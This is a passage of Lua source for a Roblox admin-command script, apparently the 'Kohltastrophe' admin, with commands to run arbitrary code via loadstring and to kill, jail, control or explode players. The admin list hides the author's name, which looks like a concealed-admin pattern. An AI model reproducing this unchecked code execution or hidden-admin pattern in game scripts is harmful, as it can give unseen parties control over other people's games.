tool","control plr"}
431
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
432
local ost = {"pa plr","unpa plr","nuke plr"}
433
local tost = {"oa plr","unoa plr","settings"}
434
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
435
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
436
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
437
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
438
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
439
end
440
441
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
442
443
if msg:lower() == "admins" or msg:lower() == "adminlist" then
444
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
445
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
446
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
447
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
448
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
449
end end
450
451
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
452
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
453
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
454
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
455
end
456
457
if msg:lower() == "tools" or msg:lower() == "toollist" then
458
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
459
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
460
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
461
end
462
463
if msg:lower():sub(1,2) == "s " then
464
coroutine.resume(coroutine.create(function()
465
Output(msg:sub(3), plr)
466
if script:findFirstChild("ScriptBase") then
467
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
468
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
469
else loadstring(msg:sub(3))()
470
end
471
end))
472
end
473
474
if msg:lower():sub(1,3) == "ls " then
475
coroutine.resume(coroutine.create(function()
476
if script:findFirstChild("LocalScriptBase") then
477
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
478
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
479
end
480
end))
481
end
482
483
if msg:lower():sub(1,6) == "lsplr " then
484
local chk1 = msg:lower():sub(7):find(" ") + 6
485
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
486
for i, v in pairs(plrz) do
487
coroutine.resume(coroutine.create(function()
488
if v and v:findFirstChild("PlayerGui") then
489
if script:findFirstChild("LocalScriptBase") then
490
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
491
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
492
end
493
end
494
end))
495
end
496
end
497
498
if msg:lower():sub(1,4) == "ins " then
499
coroutine.resume(coroutine.create(function()
500
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
501
if obj and #obj:children() >= 1 and plr.Character then
502
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
503
end
504
end))
505
end
506
507
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
508
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
509
RemoveMessage()
510
objects = {}
511
end
512
513
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
514
game.Lighting.Ambient = origsettings.abt
515
game.Lighting.Brightness = origsettings.brt
516
game.Lighting.TimeOfDay = origsettings.time
517
game.Lighting.FogColor = origsettings.fclr
518
game.Lighting.FogEnd = origsettings.fe
519
game.Lighting.FogStart = origsettings.fs
520
for i, v in pairs(lobjs) do v:Destroy() end
521
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
522
end
523
524
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
525
coroutine.resume(coroutine.create(function()
526
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
527
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
528
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
529
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
530
end))
531
end
532
533
if msg:lower():sub(1,10) == "countdown " then
534
local num = math.min(tonumber(msg:sub(11)),120)
535
for i = num, 1, -1 do
536
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
537
wait(1)
538
end
539
end
540
541
if msg:lower():sub(1,3) == "tm " then
542
local chk1 = msg:lower():sub(4):find(" ") + 3
543
local num = tonumber(msg:sub(4,chk1-1))
544
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
545
end
546
547
if msg:lower():sub(1,2) == "m " then
548
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
549
end
550
551
if msg:lower():sub(1,2) == "h " then
552
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
553
end
554
555
if msg:lower():sub(1,3) == "pm " then
556
local chk1 = msg:lower():sub(4):find(" ") + 3
557
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
558
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
559
end
560
561
if msg:lower():sub(1,11) == "resetstats " then
562
local plrz = GetPlr(plr, msg:lower():sub(12))
563
for i, v in pairs(plrz) do
564
coroutine.resume(coroutine.create(function()
565
if v and v:findFirstChild("leaderstats") then
566
for a, q in pairs(v.leaderstats:children()) do
567
if q:IsA("IntValue") then q.Value = 0 end
568
end
569
end
570
end))
571
end
572
end
573
574
if msg:lower():sub(1,5) == "gear " then
575
local chk1 = msg:lower():sub(6):find(" ") + 5
576
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
577
for i, v in pairs(plrz) do
578
coroutine.resume(coroutine.create(function()
579
if v and v:findFirstChild("Backpack") then
580
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
581
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
582
obj:Destroy()
583
end
584
end))
585
end
586
end
587
588
if msg:lower():sub(1,4) == "hat " then
589
local chk1 = msg:lower():sub(5):find(" ") + 4
590
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
591
for i, v in pairs(plrz) do
592
coroutine.resume(coroutine.create(function()
593
if v and v.Character then
594
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
595
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
596
obj:Destroy()
597
end
598
end))
599
end
600
end
601
602
if msg:lower():sub(1,5) == "cape " then
603
local chk1 = msg:lower():sub(6):find(" ")
604
local plrz = GetPlr(plr, msg:lower():sub(6))
605
local str = "torso.BrickColor"
606
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
607
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
608
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
609
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
610
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
611
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
612
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
613
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
614
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
615
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
616
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
617
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
618
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
619
if BrickColor.new(teststr) ~= nil then str = teststr end
620
end
621
for i, v in pairs(plrz) do
622
coroutine.resume(coroutine.create(function()
623
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
624
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
625
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
626
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
627
local torso = plr.Character.Torso
628
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
629
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
630
p.Size = Vector3.new(.2,.2,.2)
631
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
632
local motor1 = Instance.new("Motor", p)
633
motor1.Part0 = p
634
motor1.Part1 = torso
635
motor1.MaxVelocity = .01
636
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
637
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
638
local wave = false
639
repeat wait(1/44)
640
local ang = 0.1
641
local oldmag = torso.Velocity.magnitude
642
local mv = .002
643
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
644
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
645
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
646
motor1.DesiredAngle = -ang
647
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
648
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
649
if torso.Velocity.magnitude < .1 then wait(.1) end
650
until not p or p.Parent ~= torso.Parent
651
script:Destroy()
652
]] cl.Parent = v.PlayerGui cl.Disabled = false
653
end
654
end))
655
end
656
end
657
658
if msg:lower():sub(1,7) == "uncape " then
659
local plrz = GetPlr(plr, msg:lower():sub(8))
660
for i, v in pairs(plrz) do
661
coroutine.resume(coroutine.create(function()
662
if v and v:findFirstChild("PlayerGui") and v.Character then
663
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
664
end
665
end))
666
end
667
end
668
669
if msg:lower():sub(1,7) == "noclip " then
670
local plrz = GetPlr(plr, msg:lower():sub(8))
671
for i, v in pairs(plrz) do
672
coroutine.resume(coroutine.create(function()
673
if v and v:findFirstChild("PlayerGui") then
674
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
675
cl.Parent = v.PlayerGui cl.Disabled = false
676
end
677
end))
678
end
679
end
680
681
if msg:lower():sub(1,5) == "clip " then
682
local plrz = GetPlr(plr, msg:lower():sub(6))
683
for i, v in pairs(plrz) do
684
coroutine.resume(coroutine.create(function()
685
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
686
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
687
v.Character.Torso.Anchored = false
688
wait(.1) v.Character.Humanoid.PlatformStand = false
689
end
690
end))
691
end
692
end
693
694
if msg:lower():sub(1,5) == "jail " then
695
local plrz = GetPlr(plr, msg:lower():sub(6))
696
for i, v in pairs(plrz) do
697
coroutine.resume(coroutine.create(function()
698
if v and v.Character and v.Character:findFirstChild("Torso") then 
699
local vname = v.Name
700
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
701
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
702
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
703
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
704
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
705
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
706
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
707
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
708
end)
709
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
710
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
711
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
712
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
713
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
714
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
715
local msh2 = msh:Clone() msh2.Parent = back
716
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
717
local msh4 = msh3:Clone() msh4.Parent = left
718
v.Character.Torso.CFrame = cf
719
end
720
end))
721
end
722
end
723
724
if msg:lower():sub(1,7) == "unjail " then
725
local plrz = GetPlr(plr, msg:lower():sub(8))
726
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
727
end
728
729
if msg:lower():sub(1,11) == "starttools " then
730
local plrz = GetPlr(plr, msg:lower():sub(12))
731
for i, v in pairs(plrz) do
732
coroutine.resume(coroutine.create(function()
733
if v and v:findFirstChild("Backpack") then
734
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
735
end
736
end))
737
end
738
end
739
740
if msg:lower():sub(1,6) == "sword " then
741
local plrz = GetPlr(plr, msg:lower():sub(7))
742
for i, v in pairs(plrz) do
743
coroutine.resume(coroutine.create(function()
744
if v and v:findFirstChild("Backpack") then
745
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
746
sword.GripForward = Vector3.new(-1,0,0)
747
sword.GripPos = Vector3.new(0,0,-1.5)
748
sword.GripRight = Vector3.new(0,1,0)
749
sword.GripUp = Vector3.new(0,0,1)
750
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
751
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
752
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
753
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
754
local Damage = 15
755
local SlashSound = Instance.new("Sound", script.Parent.Handle)
756
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
757
SlashSound.Volume = 1
758
local LungeSound = Instance.new("Sound", script.Parent.Handle)
759
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
760
LungeSound.Volume = 1
761
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
762
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
763
UnsheathSound.Volume = 1
764
local last = 0
765
script.Parent.Handle.Touched:connect(function(hit)
766
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
767
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
768
hit.Parent.Humanoid:TakeDamage(Damage)
769
end
770
end)
771
script.Parent.Activated:connect(function()
772
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
773
script.Parent.Enabled = false
774
local tick = game:service("RunService").Stepped:wait()
775
if tick - last <= .2 then
776
LungeSound:play()
777
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
778
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
779
wait(.2)
780
script.Parent.GripForward = Vector3.new(0,0,1)
781
script.Parent.GripRight = Vector3.new(0,-1,0)
782
script.Parent.GripUp = Vector3.new(-1,0,0)
783
wait(.3)
784
frc:Destroy() wait(.5)
785
script.Parent.GripForward = Vector3.new(-1,0,0)
786
script.Parent.GripRight = Vector3.new(0,1,0)
787
script.Parent.GripUp = Vector3.new(0,0,1)
788
else
789
SlashSound:play()
790
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
791
end
792
last = tick
793
script.Parent.Enabled = true
794
end)
795
script.Parent.Equipped:connect(function(mouse)
796
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
797
UnsheathSound:play()
798
script.Parent.Enabled = true
799
if not mouse then return end
800
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
801
end)]] cl.Disabled = false 
802
end
803
end))
804
end
805
end
806
807
if msg:lower():sub(1,6) == "clone " then
808
local plrz = GetPlr(plr, msg:lower():sub(7))
809
for i, v in pairs(plrz) do
810
coroutine.resume(coroutine.create(function()
811
if v and v.Character then 
812
v.Character.Archivable = true 
813
local cl = v.Character:Clone() 
814
table.insert(objects,cl) 
815
cl.Parent = game.Workspace 
816
cl:MoveTo(v.Character:GetModelCFrame().p)
817
cl:MakeJoints()
818
v.Character.Archivable = false 
819
end
820
end))
821
end
822
end
823
824
if msg:lower():sub(1,8) == "control " then
825
local plrz = GetPlr(plr, msg:lower():sub(9))
826
for i, v in pairs(plrz) do
827
coroutine.resume(coroutine.create(function()
828
if v and v.Character then
829
v.Character.Humanoid.PlatformStand = true
830
local w = Instance.new("Weld", plr.Character.Torso ) 
831
w.Part0 = plr.Character.Torso 
832
w.Part1 = v.Character.Torso  
833
local w2 = Instance.new("Weld", plr.Character.Head) 
834
w2.Part0 = plr.Character.Head 
835
w2.Part1 = v.Character.Head  
836
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) 
837
w3.Part0 = plr.Character:findFirstChild("Right Arm")
838
w3.Part1 = v.Character:findFirstChild("Right Arm") 
839
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
840
w4.Part0 = plr.Character:findFirstChild("Left Arm")
841
w4.Part1 = v.Character:findFirstChild("Left Arm") 
842
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) 
843
w5.Part0 = plr.Character:findFirstChild("Right Leg")
844
w5.Part1 = v.Character:findFirstChild("Right Leg") 
845
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) 
846
w6.Part0 = plr.Character:findFirstChild("Left Leg")
847
w6.Part1 = v.Character:findFirstChild("Left Leg") 
848
plr.Character.Head.face:Destroy()
849
for i, p in pairs(v.Character:children()) do
850
if p:IsA("BasePart") then 
851
p.CanCollide = false
852
end
853
end
854
for i, p in pairs(plr.Character:children()) do
855
if p:IsA("BasePart") then 
856
p.Transparency = 1 
857
elseif p:IsA("Hat") then
858
p:Destroy()
859
end
860
end
861
v.Character.Parent = plr.Character
862
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
863
end
864
end))
865
end
866
end
867
868
if msg:lower():sub(1,5) == "kill " then
869
local plrz = GetPlr(plr, msg:lower():sub(6))
870
for i, v in pairs(plrz) do
871
coroutine.resume(coroutine.create(function()
872
if v and v.Character then v.Character:BreakJoints() end
873
end))
874
end
875
end
876
877
if msg:lower():sub(1,8) == "respawn " then
878
local plrz = GetPlr(plr, msg:lower():sub(9))
879
for i, v in pairs(plrz) do
880
coroutine.resume(coroutine.create(function()
881
if v and v.Character then v:LoadCharacter() end
882
end))
883
end
884
end
885
886
if msg:lower():sub(1,5) == "trip " then
887
local plrz = GetPlr(plr, msg:lower():sub(6))
888
for i, v in pairs(plrz) do
889
coroutine.resume(coroutine.create(function()
890
if v and v.Character and v.Character:findFirstChild("Torso") then 
891
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
892
end
893
end))
894
end
895
end
896
897
if msg:lower():sub(1,5) == "stun " then
898
local plrz = GetPlr(plr, msg:lower():sub(6))
899
for i, v in pairs(plrz) do
900
coroutine.resume(coroutine.create(function()
901
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
902
v.Character.Humanoid.PlatformStand = true
903
end
904
end))
905
end
906
end
907
908
if msg:lower():sub(1,7) == "unstun " then
909
local plrz = GetPlr(plr, msg:lower():sub(8))
910
for i, v in pairs(plrz) do
911
coroutine.resume(coroutine.create(function()
912
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
913
v.Character.Humanoid.PlatformStand = false
914
end
915
end))
916
end
917
end
918
919
if msg:lower():sub(1,5) == "jump " then
920
local plrz = GetPlr(plr, msg:lower():sub(6))
921
for i, v in pairs(plrz) do
922
coroutine.resume(coroutine.create(function()
923
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
924
v.Character.Humanoid.Jump = true
925
end
926
end))
927
end
928
end
929
930
if msg:lower():sub(1,4) == "sit " then
931
local plrz = GetPlr(plr, msg:lower():sub(5))
932
for i, v in pairs(plrz) do
933
coroutine.resume(coroutine.create(function()
934
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
935
v.Character.Humanoid.Sit = true
936
end
937
end))
938
end
939
end
940
941
if msg:lower():sub(1,10) == "invisible " then
942
local plrz = GetPlr(plr, msg:lower():sub(11))
943
for i, v in pairs(plrz) do
944
coroutine.resume(coroutine.create(function()
945
if v and v.Character then 
946
for a, obj in pairs(v.Character:children()) do 
947
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
948
end
949
end
950
end))
951
end
952
end
953
954
if msg:lower():sub(1,8) == "visible " then
955
local plrz = GetPlr(plr, msg:lower():sub(9))
956
for i, v in pairs(plrz) do
957
coroutine.resume(coroutine.create(function()
958
if v and v.Character then 
959
for a, obj in pairs(v.Character:children()) do 
960
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
961
end
962
end
963
end))
964
end
965
end
966
967
if msg:lower():sub(1,5) == "lock " then
968
local plrz = GetPlr(plr, msg:lower():sub(6))
969
for i, v in pairs(plrz) do
970
coroutine.resume(coroutine.create(function()
971
if v and v.Character then 
972
for a, obj in pairs(v.Character:children()) do 
973
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
974
end
975
end
976
end))
977
end
978
end
979
980
if msg:lower():sub(1,7) == "unlock " then
981
local plrz = GetPlr(plr, msg:lower():sub(8))
982
for i, v in pairs(plrz) do
983
coroutine.resume(coroutine.create(function()
984
if v and v.Character then 
985
for a, obj in pairs(v.Character:children()) do 
986
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
987
end
988
end
989
end))
990
end
991
end
992
993
if msg:lower():sub(1,8) == "explode " then
994
local plrz = GetPlr(plr, msg:lower():sub(9))
995
for i, v in pairs(plrz) do
996
coroutine.resume(coroutine.create(function()
997
if v and v.Character and v.Character:findFirstChild("Torso") then 
998
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
999
end
1000
end))
1001
end
1002
end
1003
1004
if msg:lower():sub(1,4) == "age " then
1005
local plrz = GetPlr(plr, msg:lower():sub(5))
1006
for i, v in pairs(plrz) do
1007
coroutine.resume(coroutine.create(function()
1008
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
1009
end))
1010
end
1011
end
1012
1013
if msg:lower():sub(1,5) == "fire " then
1014
local plrz = GetPlr(plr, msg:lower():sub(6))
1015
for i, v in pairs(plrz) do
1016
coroutine.resume(coroutine.create(function()
1017
if v and v.Character and v.Character:findFirstChild("Torso") then 
1018
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1019
end
1020
end))
1021
end
1022
end
1023
1024
if msg:lower():sub(1,7) == "unfire " then
1025
local plrz = GetPlr(plr, msg:lower():sub(8))
1026
for i, v in pairs(plrz) do
1027
coroutine.resume(coroutine.create(function()
1028
if v and v.Character and v.Character:findFirstChild("Torso") then 
1029
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1030
end
1031
end))
1032
end
1033
